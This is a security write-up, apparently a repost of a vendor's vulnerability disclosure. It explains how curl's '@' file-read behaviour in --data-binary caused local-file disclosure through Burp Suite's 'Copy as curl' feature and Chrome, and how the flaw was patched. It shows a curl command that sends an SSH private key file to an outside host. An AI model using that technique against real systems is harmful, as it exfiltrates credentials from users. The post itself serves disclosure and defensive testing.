The curl quirk that exposed Burp Suite & Google Chrome

by Prapattimynk, Tuesday, 25 July 2023 (7 months ago)
The curl quirk that exposed Burp Suite & Google Chrome


A laptop using a fishing line to pick someone's pocket

In this post, we’ll explore a little-known feature in curl that led to a local-file disclosure vulnerability in both Burp Suite Proand Google Chrome. We patched Burp Suite a while back, but suspect the technique might be useful to exploit other applications that have a ‘copy as curl’ feature, or invoke curl from the command line. This vulnerability was privately reported to our bug bounty program by Paul Muttonand he’s kindly agreed to let us publish this writeup.

Burp Suite users often craft complex HTTP requests to demonstrate vulnerabilities in websites. To make sharing these proof-of-concept exploits with other people easier, we have a Copy as curl command feature which generates a curl command that replicates a request inside Burp Suite.

For example, given the following request:

POST / HTTP/1.1
Host: portswigger.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

If you click Copy as curl commandBurp Suite will generate the following command and copy it to the clipboard:

curl -i -s -k
-X $'POST' \
-H $'Host: portswigger.net' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 7' \
--data-binary $'foo=bar' \
$'https://portswigger.net/'

You can then paste this command into the terminal to re-issue the request outside Burp Suite. We’re careful about escaping this data to avoid users being exploited by malicious requests injecting extra shell commands, or arbitrary curl arguments.

Unfortunately, there’s a subtler problem. Can you see it?

As usual, the answer lies in the friendly manual:

--data-binary

This posts data exactly as specified with no extra processing whatsoever.

If you start the data with the letter @, the rest should be a filename.

So, this is safe:

curl --data-binary '/home/albinowax/.ssh/id_rsa' --trace-ascii - https://02.rs/
=> Send data, 28 bytes (0x1c)
0000: /home/albinowax/.ssh/id_rsa

And this is… not so safe:

curl --data-binary '@/home/albinowax/.ssh/id_rsa' --trace-ascii - https://02.rs/
=> Send data, 662 bytes (0x296)
> -----BEGIN RSA PRIVATE KEY-----.b3BlbnNzaC1rZXktdjEA....

(Not my real private key)

We patched this vulnerability in release 2020.5.1 by switching to the newer and safer but less-supported --data-raw flag if the request body starts with an @ symbol.

We were lucky in that exploiting this in Burp Suite required relatively heavy user-interaction – the attacker would have to induce a user to visit a malicious website, copy the crafted request as a curl command, and then execute it via the command line. If a website uses curl with an attacker-controlled request body, this could have a significantly higher impact, so it’s definitely worth keeping an eye out for during SSRF testing. The @ file-read behaviour works with headers too, so it could be useful on sites that let you define a custom header.

Although this feature took us (and Chrome) by surprise, it is fully documented so we don’t consider it to be a vulnerability in curl itself. It reminds me of server-side template injectionwhere a sandbox escape can be as easy as reading a manual page everyone else overlooked.

Thanks again to Paul for sharing this cool technique.

Till next time!

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